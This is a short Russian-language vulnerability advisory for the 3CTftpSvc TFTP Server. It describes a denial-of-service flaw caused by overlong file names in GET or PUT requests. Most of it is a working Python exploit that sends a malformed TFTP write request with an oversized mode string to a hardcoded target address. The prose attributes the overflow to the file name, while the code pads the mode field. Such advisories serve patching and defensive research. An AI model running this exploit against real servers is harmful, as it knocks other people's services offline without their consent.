Программа: 3CTftpSvc TFTP Server
Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в обработке слишком длинных имен файлов (более 470 байт), передаваемых в команды "GET" или "PUT". Атакующий может передать специально составленные файлы с длинными именами через команды "GET" или "PUT", что приведет систему к отказу в обслуживании.
Эксплоит:
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))